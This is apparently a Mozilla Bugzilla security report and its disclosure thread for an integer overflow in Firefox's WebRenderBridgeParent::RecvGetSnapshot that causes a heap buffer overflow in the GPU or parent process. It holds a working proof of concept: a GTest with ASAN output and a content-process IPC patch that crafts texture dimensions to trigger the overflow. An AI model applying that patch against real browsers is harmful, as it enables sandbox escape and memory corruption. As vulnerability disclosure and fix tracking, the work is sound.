WebRenderBridgeParent::RecvGetSnapshot Integer Overflow Heap Buffer Overflow
Categories
(Core :: Graphics, defect)
Tracking
()
People
(Reporter: prodigysml555, Assigned: bradwerth)
References
Details
(5 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+])
Attachments
(4 external files)
Compromised content process -> compositor process via PWebRenderBridge::GetSnapshot. GPU process on Windows/macOS/Android; parent process on Linux (X11) where layers.gpu-process.enabled is false by default. GPU process crash falls back to parent process on all platforms (layers.gpu-process.allow-fallback-to-parent is true by default).
RecvGetSnapshot (gfx/layers/wr/WebRenderBridgeParent.cpp:1945) computes buffer_size as uint32_t(size.width * size.height * 4). A compromised content process sends a PTexture with crafted RGBDescriptor dimensions (e.g., 32769x32768) that overflow uint32_t to 131072. The Rust-side assert_eq in read_pixels_into (device/gl.rs:3419) is bypassed because i32 overflow wraps identically. glReadPixels then writes ~4GB into the 128KB buffer.
The Bug
// gfx/layers/wr/WebRenderBridgeParent.cpp:1945-1950
uint32_t buffer_size = size.width * size.height * 4;
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// uint32_t overflow: 32769 * 32768 * 4 = 0x1_0002_0000
// Truncated to 0x0002_0000 = 131072 (128 KiB)
// No validation: buffer_size is never compared to bufferTexture->GetBufferSize()
Range<uint8_t> buffer(
bufferTexture->GetBufferData()->mData, buffer_size);
// ^^^^^^^^^^^
// Overflowed value. Range covers only 128 KiB.
mLateInit->mApi->Readback(
start, size, buffer, bufferTexture->GetBufferData()->mStride);
// ^^^^^^
// Rust receives the short Range. glReadPixels writes ~4 GiB.
The Rust side (wr_renderer_readback in gfx/webrender_bindings/src/bindings.rs:772-784) receives buffer_size as usize from the C++ caller. Inside read_pixels_into (device/gl.rs:3419), an assert_eq!(output.len(), calculated_length) check exists, but calculated_length is computed from width * height * 4 using i32 which wraps identically to the C++ uint32_t computation. Both sides agree on the wrong value.
Attack Vector
A compromised content process calls SendGetSnapshot (PWebRenderBridge.ipdl:69, sync message) with a PTexture whose RGBDescriptor carries attacker-chosen dimensions. The PTexture is backed by a Shmem allocated with the overflowed size. The compositor's RecvGetSnapshot calls bufferTexture->Lock(OpenMode::OPEN_READ_WRITE) which succeeds (Shmem is valid), then passes the short Range to WebRender's Readback, which calls glReadPixels with the original (large) dimensions. The GPU driver writes the full pixel data into the undersized buffer, corrupting the heap.
On Linux (X11), layers.gpu-process.enabled is false by default, so RecvGetSnapshot runs directly in the parent process (sandbox escape). On all platforms, layers.gpu-process.allow-fallback-to-parent is true by default, so a GPU process crash (easily triggered by a compromised content process) causes fallback to parent.
ASAN Proof
GTest TestWebRenderSnapshotOverflow.ASANHeapOverflowProof replicates the exact overflow arithmetic from RecvGetSnapshot line 1945 and confirms the resulting buffer is undersized. Under ASAN:
==6387==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x0001100c0800
WRITE of size 1 at 0x0001100c0800 thread T0
#0 TestWebRenderSnapshotOverflow_ASANHeapOverflowProof_Test::TestBody+0x3b8
0x0001100c0800 is located 0 bytes after 131072-byte region [0x0001100a0800,0x0001100c0800)
SUMMARY: AddressSanitizer: heap-buffer-overflow (XUL) in
TestWebRenderSnapshotOverflow_ASANHeapOverflowProof_Test::TestBody+0x3b8
The 131072-byte (128 KiB) allocation confirms the overflow: 32769 * 32768 * 4 = 4295098368 truncated to uint32_t = 131072. Write at offset 131072 (1 byte past the buffer) triggers ASAN. In the real bug, glReadPixels writes ~4 GiB past this point. The GTest replicates the overflow arithmetic rather than exercising the full GL pipeline (which requires a GPU context); the content-side IPC patch below triggers the actual RecvGetSnapshot code path end-to-end.
PoC
GTest
gfx/tests/gtest/TestWebRenderSnapshotOverflow.cpp:
#include "gtest/gtest.h"
#include "mozilla/gfx/Types.h"
#include "mozilla/CheckedInt.h"
#include <cstdint>
namespace mozilla::gfx {
static uint32_t ComputeBufferSize_Vulnerable(int32_t width, int32_t height) {
return static_cast<uint32_t>(width) * static_cast<uint32_t>(height) * 4u;
}
static mozilla::CheckedInt<size_t> ComputeBufferSize_Safe(int32_t width,
int32_t height) {
mozilla::CheckedInt<size_t> w(width);
mozilla::CheckedInt<size_t> h(height);
return w * h * 4;
}
static uint32_t CalculateLength_RustWrapping(int32_t width, int32_t height,
int32_t bpp) {
return static_cast<uint32_t>(width) * static_cast<uint32_t>(height) *
static_cast<uint32_t>(bpp);
}
TEST(TestWebRenderSnapshotOverflow, WidthHeight32768_OverflowsToZero) {
int32_t width = 32768, height = 32768;
uint32_t buffer_size = ComputeBufferSize_Vulnerable(width, height);
EXPECT_EQ(buffer_size, 0u);
auto safe = ComputeBufferSize_Safe(width, height);
EXPECT_TRUE(safe.isValid());
EXPECT_EQ(safe.value(), size_t(4) * 32768 * 32768);
uint32_t rust_size = CalculateLength_RustWrapping(width, height, 4);
EXPECT_EQ(rust_size, 0u);
EXPECT_EQ(rust_size, buffer_size);
}
TEST(TestWebRenderSnapshotOverflow, ControlledSmallBufferSize) {
int32_t width = 32769, height = 32768;
uint32_t buffer_size = ComputeBufferSize_Vulnerable(width, height);
size_t actual_need = size_t(width) * height * 4;
EXPECT_EQ(buffer_size, 131072u);
EXPECT_EQ(actual_need, size_t(4295098368ULL));
EXPECT_GT(actual_need / buffer_size, size_t(32000));
}
TEST(TestWebRenderSnapshotOverflow, RustAssertBypassed) {
int32_t width = 32769, height = 32768;
uint32_t cpp_buffer_size = ComputeBufferSize_Vulnerable(width, height);
uint32_t rust_size = CalculateLength_RustWrapping(width, height, 4);
EXPECT_EQ(rust_size, cpp_buffer_size)
<< "Rust and C++ overflow to same value, assert_eq passes";
auto checked = mozilla::CheckedInt<uint32_t>(width) *
mozilla::CheckedInt<uint32_t>(height) * 4;
EXPECT_FALSE(checked.isValid());
}
TEST(TestWebRenderSnapshotOverflow, ASANHeapOverflowProof) {
volatile int32_t width = 32769;
volatile int32_t height = 32768;
uint32_t buffer_size = ComputeBufferSize_Vulnerable(width, height);
ASSERT_EQ(buffer_size, 131072u);
volatile uint8_t* buffer = new uint8_t[buffer_size];
buffer[buffer_size] = 0x41; // 1 byte past -> ASAN heap-buffer-overflow WRITE
delete[] const_cast<uint8_t*>(buffer);
}
} // namespace mozilla::gfx
Run: ./mach gtest "TestWebRenderSnapshotOverflow.*"
Content-side IPC patch
Patch to TextureClient::InitIPDLActor in gfx/layers/client/TextureClient.cpp. For SNAPSHOT textures, replaces the SurfaceDescriptor with crafted 32769x32768 RGBDescriptor dimensions backed by a 131072-byte Shmem (the overflowed size). When the compositor's RecvGetSnapshot computes buffer_size = 32769 * 32768 * 4, it wraps to 131072 and passes the short Range to glReadPixels, which writes ~4 GiB.
Apply with git apply webrender_snapshot_ipc.patch.
diff --git a/gfx/layers/client/TextureClient.cpp b/gfx/layers/client/TextureClient.cpp
--- a/gfx/layers/client/TextureClient.cpp
+++ b/gfx/layers/client/TextureClient.cpp
@@ -1278,6 +1278,26 @@ bool TextureClient::InitIPDLActor(KnowsCompositor* aKnowsCompositor,
SurfaceDescriptor desc;
if (!ToSurfaceDescriptor(desc)) {
return false;
+ }
+
+ // PoC: For SNAPSHOT textures, replace the descriptor with crafted dimensions
+ // that trigger integer overflow in RecvGetSnapshot
+ // (WebRenderBridgeParent.cpp line 1945):
+ // uint32_t buffer_size = size.width * size.height * 4;
+ // With width=32769, height=32768: product wraps uint32_t to 131072.
+ // The Rust assert_eq in read_pixels_into also overflows identically,
+ // so glReadPixels writes ~4GB of pixel data into a 128KB buffer.
+ if (GetFlags() & TextureFlags::SNAPSHOT) {
+ gfx::IntSize craftedSize(32769, 32768);
+ uint32_t overflowedBufSize =
+ (uint32_t)craftedSize.width * (uint32_t)craftedSize.height * 4u;
+ mozilla::ipc::Shmem craftedShmem;
+ if (fwd->AllocUnsafeShmem(overflowedBufSize, &craftedShmem)) {
+ memset(craftedShmem.get<uint8_t>(), 0, overflowedBufSize);
+ desc = SurfaceDescriptorBuffer(
+ RGBDescriptor(craftedSize, gfx::SurfaceFormat::B8G8R8A8),
+ MemoryOrShmem(std::move(craftedShmem)));
+ }
}
// Try external image id allocation.
HTML PoC
The actual attack vector is a compromised content process calling SendGetSnapshot directly via PWebRenderBridge (line 69 of the IPDL). The IPC patch above intercepts TextureClient::InitIPDLActor which is on this path. To trigger the snapshot path from web content for testing purposes, use the mochitest-browser variant below which exercises the compositor snapshot via chrome-privileged drawWindow.
Note: canvas.drawWindow() from unprivileged web content cannot trigger RecvGetSnapshot because PresShell::RenderDocument strips PaintFrameFlags::WidgetLayers when wouldFlushRetainedLayers is true (PresShell.cpp:4877-4878), preventing MakeSnapshotIfRequired from firing. The real attack surface is SendGetSnapshot called directly by a compromised content process, which the IPC patch enables.
Mochitest-browser test
browser_webrender_snapshot_overflow.js โ runs in chrome context where drawWindow has the necessary privileges to trigger the compositor snapshot path:
"use strict";
// Mochitest-browser test: triggers WebRenderBridgeParent::RecvGetSnapshot
// integer overflow via drawWindow. Requires webrender_snapshot_ipc.patch
// applied to TextureClient.cpp.
//
// Run with:
// ./mach mochitest --headless browser_webrender_snapshot_overflow.js
add_task(async function test_snapshot_overflow() {
// Open a simple tab
let tab = await BrowserTestUtils.openNewForegroundTab(
gBrowser, "about:blank"
);
// Create canvas in chrome context
let canvas = document.createElementNS(
"http://www.w3.org/1999/xhtml", "canvas"
);
canvas.width = 100;
canvas.height = 100;
let ctx = canvas.getContext("2d");
ctx.fillStyle = "blue";
ctx.fillRect(0, 0, 100, 100);
// drawWindow from chrome context triggers:
// BeginTransactionWithTarget -> EndTransaction ->
// MakeSnapshotIfRequired -> TextureClient::InitIPDLActor (patched) ->
// SendGetSnapshot with RGBDescriptor(32769x32768) + 131072-byte shmem
//
// Parent side RecvGetSnapshot:
// buffer_size = 32769 * 32768 * 4 = 131072 (overflowed uint32_t)
// Range<uint8_t>(buffer, 131072) passed to wr_renderer_readback
// glReadPixels writes width*height*4 = ~4GB into 128KB buffer
//
// Expected: ASAN heap-buffer-overflow WRITE
info("Calling drawWindow to trigger snapshot IPC...");
ctx.drawWindow(window, 0, 0, 100, 100, "white");
info("drawWindow completed");
BrowserTestUtils.removeTab(tab);
ok(true, "If we got here without ASAN crash, the patch may not be active");
});
Run: ./mach mochitest --headless browser_webrender_snapshot_overflow.js
Updated•8 months ago
|
Comment 1•8 months ago
|
||
The JS test case is running code in the parent process, not the content process. You need to use something like SpecialPowers.spawn for it to run in the child process.
To make these kinds of issues easier to avoid, you should have a guard like if (XRE_IsContentProcess()) { around the code in the C++ patch, which will ensure that it will only run in the child process.
Updated•8 months ago
|
| Reporter | ||
Comment 2•8 months ago
|
||
Oh, that's a big blunder. Apologies for that. Thanks for the feedback. Updated the C++ patch with the XRE_IsContentProcess() guard.
Dropped the browser test. SendGetSnapshot is not reachable from content through any web API. PresShell.cpp:4846-4847 explicitly excludes content processes from the WidgetLayers path (!renderer->AsKnowsCompositor() || XRE_IsParentProcess() is false in content), so drawWindow/snapshotWindow from content always falls through to software rasterization and never hits MakeSnapshotIfRequired โ SendGetSnapshot. The attack surface is a compromised content process calling PWebRenderBridge::SendGetSnapshot directly over IPDL with a crafted PTexture.
The GTest validates the overflow arithmetic and the ASAN proof confirms the heap corruption. The IPC patch below hooks TextureClient::InitIPDLActor on the SendGetSnapshot code path and only fires in the content process.
Updated patch (webrender_snapshot_ipc.patch):
diff --git a/gfx/layers/client/TextureClient.cpp b/gfx/layers/client/TextureClient.cpp
--- a/gfx/layers/client/TextureClient.cpp
+++ b/gfx/layers/client/TextureClient.cpp
@@ -55,6 +55,7 @@
#include "mozilla/layers/TextureRecorded.h"
#include "mozilla/gfx/gfxVars.h"
#include "mozilla/layers/CompositorBridgeChild.h"
+#include "nsXULAppAPI.h"
#ifdef XP_WIN
# include "gfx2DGlue.h"
@@ -1278,6 +1279,28 @@ bool TextureClient::InitIPDLActor(KnowsCompositor* aKnowsCompositor,
SurfaceDescriptor desc;
if (!ToSurfaceDescriptor(desc)) {
return false;
+ }
+
+ // PoC: Only activate in the content process (the attacker's sandbox).
+ // For SNAPSHOT textures, replace the descriptor with crafted dimensions
+ // that trigger integer overflow in RecvGetSnapshot
+ // (WebRenderBridgeParent.cpp line 1945):
+ // uint32_t buffer_size = size.width * size.height * 4;
+ // With width=32769, height=32768: product wraps uint32_t to 131072.
+ // The Rust assert_eq in read_pixels_into also overflows identically,
+ // so glReadPixels writes ~4GB of pixel data into a 128KB buffer.
+ if (XRE_IsContentProcess() && (GetFlags() & TextureFlags::SNAPSHOT)) {
+ gfx::IntSize craftedSize(32769, 32768);
+ uint32_t overflowedBufSize =
+ (uint32_t)craftedSize.width * (uint32_t)craftedSize.height * 4u;
+ mozilla::ipc::Shmem craftedShmem;
+ if (fwd->AllocUnsafeShmem(overflowedBufSize, &craftedShmem)) {
+ memset(craftedShmem.get<uint8_t>(), 0, overflowedBufSize);
+ desc = SurfaceDescriptorBuffer(
+ RGBDescriptor(craftedSize, gfx::SurfaceFormat::B8G8R8A8),
+ MemoryOrShmem(std::move(craftedShmem)));
+ }
}
// Try external image id allocation.
Updated•8 months ago
|
| Reporter | ||
Updated•8 months ago
|
Comment 3•8 months ago
|
||
Tentatively classifying as S2, as I'm not familiar enough with this code to confirm. :gw, could you please take a look?
Updated•8 months ago
|
Updated•8 months ago
|
| Assignee | ||
Comment 4•8 months ago
|
||
| Assignee | ||
Updated•8 months ago
|
| Assignee | ||
Updated•8 months ago
|
| Assignee | ||
Comment 5•7 months ago
|
||
Comment on attachment 9548413 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Easily enough if knowledgable about integer overflow resuts.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: Easy to create, probably grafts cleanly.
- How likely is this patch to cause regressions; how much testing does it need?: Unlikely. No web content is relying upon this undefined behavior.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Updated•7 months ago
|
Comment 6•7 months ago
|
||
Comment on attachment 9548413 [details]
(secure)
sec-approval+ to land now and request uplifts. Needs to get in before Beta 8 (building Friday) to make it into Fx149.
Updated•7 months ago
|
Updated•7 months ago
|
Comment 7•7 months ago
|
||
:bradwerth fyi we need the uplift requests asap in order to roll this out with 149
Comment 9•7 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: Possible exfiltration from gpu process from compromised content process.
- Code covered by automated testing: no
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Overflow check uses exsting failure / rejection mechanism.
- String changes made/needed: none
- Is Android affected?: yes
| Assignee | ||
Comment 10•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D285152
| Assignee | ||
Comment 11•7 months ago
|
||
(In reply to Dianna Smith [:diannaS] from comment #7)
:bradwerth fyi we need the uplift requests asap in order to roll this out with 149
Uplifts requested.
Comment 12•7 months ago
|
||
Updated•7 months ago
|
Updated•7 months ago
|
Comment 13•7 months ago
|
||
| uplift | ||
Comment 14•7 months ago
|
||
:bradwerth ty! can you also submit uplift requests for esr40 and esr115?
Updated•7 months ago
|
Comment 15•7 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined/Reason for urgency: Exfiltration of gpu process memory from compromised content process request of invalid snapshot size.
- Code covered by automated testing?: no
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Simple addition of buffer size overflow checks.
- String changes made/needed?: None
- Is Android affected?: yes
| Assignee | ||
Comment 16•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D285152
| Assignee | ||
Comment 17•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D285152
Updated•7 months ago
|
Comment 18•7 months ago
|
||
firefox-esr115 Uplift Approval Request
- User impact if declined/Reason for urgency: Possible exfiltration of gpu process data from compromised content process via malformed snapshot request.
- Code covered by automated testing?: no
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Simple overflow check on buffer size.
- String changes made/needed?: none
- Is Android affected?: yes
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 19•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Comment 20•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Updated•3 months ago
|
Description
•